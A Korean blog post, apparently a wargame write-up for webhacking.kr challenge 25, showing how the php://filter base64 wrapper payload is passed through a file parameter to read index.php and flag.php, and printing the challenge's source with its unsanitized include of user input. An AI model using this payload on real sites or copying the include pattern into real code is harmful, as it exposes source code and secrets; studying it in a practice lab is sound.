WEB/webhacking.kr (old)

webhacking.kr 25번

hongjw 2020. 2. 6. 00:18

level 25 첫화면

url이 http://webhacking.kr:10001/?file=hello인걸로 봐서 hello.php의 내용이 출력된 것같다.

 

hello 대신 flag를 입력했더니,

코드안에 FLAG가 있다?!

 

다음으로 file에 index를 입력했더니 아무것도 나오지 않았다. 뭔가 index.php 내용을 출력해야 문제가 풀릴 것같은 느낌 ..,

index.php의 내용을 보기 위해선 php wrapper를 이용해야한다. (전에 풀었었는데 까먹음.. (◞ ‸ ◟ㆀ))

php wrapper 중 php://filter를 이용하면 base64 방식으로 인코딩된 index.php를 얻을 수 있다.

file=php://filter/convert.base64-encode/resource=index 입력 !

출력된 값을 디코딩했더니,

<html>
<head>
<meta http-equiv=Content-Type content="text/html; charset=euc-kr">
<title>Challenge 25</title>
<style type="text/css">
body { background:black; color:white; font-size:10pt; }
textarea { background:silver; color:black; fnot-size:9pt; }
</style>
</head>
<body>
<?php
  echo("<pre>");
  system("ls -al");
  echo("</pre>");
  if(!$_GET['file']) echo("<meta http-equiv=refresh content=0;url=?file=hello>");
  echo "<hr><textarea rows=10 cols=100>";
  $file = $_GET['file'].".php";
  if($file == "index.php") exit(); // anti infinite loop
  include $file;
  echo "</textarea>";
?>
</body>
</html>

html코드가 나왔다.

그런데 코드를 봐도 뭐가 없다ㅠㅡㅠ..

 

index.php가 아니라 flag.php를 봐야하나보다.

index 대신 file=php://filter/convert.base64-encode/resource=flag를 입력하고, 디코딩하면 !! flag값이 나온다 ㅎㅅㅎ

 

 

 

참고

>>https://www.opentutorials.org/module/4291/26819

>>https://www.base64encode.org/

 

Base64 Encode and Decode - Online

Encode to Base64 or Decode from Base64 with advanced formatting options. Enter our site for an easy-to-use online tool.

www.base64encode.org

 

'WEB > webhacking.kr (old)' 카테고리의 다른 글

webhacking.kr 27번  (0) 2020.02.08
webhacking.kr 26번  (0) 2020.02.06
webhacking.kr 23번  (0) 2020.02.05
webhacking.kr 24번  (0) 2020.02.03
webhacking.kr 20번  (0) 2020.02.02